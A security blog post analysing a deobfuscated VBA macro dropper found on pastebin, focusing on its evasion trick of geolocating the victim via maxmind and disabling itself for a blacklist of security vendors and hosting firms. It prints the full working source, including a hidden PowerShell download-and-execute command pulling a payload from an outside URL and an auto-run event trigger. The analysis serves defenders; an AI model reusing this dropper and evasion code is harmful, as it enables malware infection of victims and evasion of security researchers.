VBA Malware with Security Researcher Detection

I saw this paste titled deobfuscated malware on pastebin a few days ago. Thought it was worth discussing. This is a malicious vba script (which launches powershell) that is going to download and execute a payload on the victims computer.

.DownloadFile('http://silkflowersdecordesign.com/admin/worddata.dat', $f);(New-Object -com WScript.Shell).Exec($f)

What's interesting or a bit different about this payload than others is that the attacker is trying to perform "Security Researcher Detection". Similar to how some malware performs VMWare Detection in order to disable itself if it's being run in a virtual machine, this malware is disabling itself if it's being run from within a security research coproration ip subnet. How? The attacker is actually pulling your geo location from maxmind.com

  xmlHttp.Open "GET", "https://www.maxmind.com/geoip/v2.1/city/me", False




and the attacker has a blacklist

  Blacklist = Array( 'Return
   "FORTINET", _
...
   "TREND MICRO", _
...
   "FIREEYE", _


and if for example it contained the text FIREEYE (a leading security research company)



then the malware would disable itself.

  If BlacklistHit Then Error 102


So security researchers should be aware of code/attacks like this that may purposefully do nothing depending on how or where you run it from.

Edit: Mistakenly typed Powershell instead of VBA in title. It's VBA that calls powershell.

The code

Dim gContinue As Boolean
Public Sub InkPicture1_Painted(ByVal Param1 As Long, ByVal Param2 As IInkRectangle)
  On Error GoTo x_Error
  If gContinue Then Exit Sub
   gContinue = True
   ExecutePayload
  Exit Sub
  x_Error:
End Sub

Public Sub ExecutePayload()
  If RecentFileCountTooLow Then Error 101
  If BlacklistHit Then Error 102
  Set WScriptShell = CreateObject("WScript.Shell")
  WScriptShell.Run "powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -command $f=[System.IO.Path]::GetTempFileName();(New-Object System.Net.WebClient).DownloadFile('http://silkflowersdecordesign.com/admin/worddata.dat', $f);(New-Object -com WScript.Shell).Exec($f)", 0
  Exit Sub
End Sub

Public Function RecentFileCountTooLow() As Boolean
  RecentFileCountTooLow = RecentFiles.Count < 3
End Function

Dim City As String
Public Function BlacklistHit() As Boolean
  City = UCase(GetCity)
  For Each Value In Blacklist
   If InStr(City, Value) <> 0 Then GoTo InBlacklist
  Next
  Exit Function
  InBlacklist:
   BlacklistHit = True 'Return
End Function

Public Function Blacklist()
  Blacklist = Array( 'Return
   "FORTINET", _
   "CISCO", _
   "TREND MICRO", _
   "RACKSPACE", _
   "HOSTING", _
   "STRONG TECHNOLOGIES", _
   "DATA CENTER", _
   "IRON PORT", _
   "BLUECOAT", _
   "BLUE COAT", _
   "VMVAULT", _
   "MESSAGELABS", _
   "MICROSOFT", _
   "MIMECAST", _
   "LEASEWEB", _
   "BLACKOAKCOMPUTERS", _
   "ESET, SPOL", _
   "SERVER", _
   "DATACENTER", _
   "BITDEFENDER", _
   "DATACENTRE", _
   "OVH SAS", _
   "NFORCE", _
   "TRENDMICRO", _
   "ANONYMOUS", _
   "CLOUD", _
   "AMAZON", _
   "HISPEED.CH", _
   "HOSTED", _
   "IRONPORT", _
   "PALO ALTO", _
   "PROOFPOINT", _
   "SECURITY", _
   "TRUSTWAVE", _
   "FORCEPOINT", _
   "DEDICATED", _
   "HETZNER", _
   "FIREEYE", _
   "ZSCALER"
  )
End Function

Public Function GetCity() As String
  Set xmlHttp = CreateObject("WinHttp.WinHttpRequest.5.1")
  xmlHttp.Open "GET", "https://www.maxmind.com/geoip/v2.1/city/me", False
  xmlHttp.SetRequestHeader "Referer", "https://www.maxmind.com/en/locate-my-ip-address"
  xmlHttp.SetRequestHeader "User-Agent", "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
  xmlHttp.Send
  If xmlHttp.Status <> 200 Then Error 201
   GetCity = xmlHttp.ResponseText 'Return
End Function


More about neonprimetime

• neonprimetime pastebin
• neonprimetime virustotal
• @neonprimetime twitter
• neonprimetime reddit

Top Blogs of all-time

1. pagerank botnet sql injection walk-thru
2. DOM XSS 101 Walk-Through
3. An Invoice email and a Hot mess of Java

Top Github Contributions

1. Qualys Scantronitor 2.0

Copyright © 2016, this post cannot be reproduced or retransmitted in any form without reference to the original post.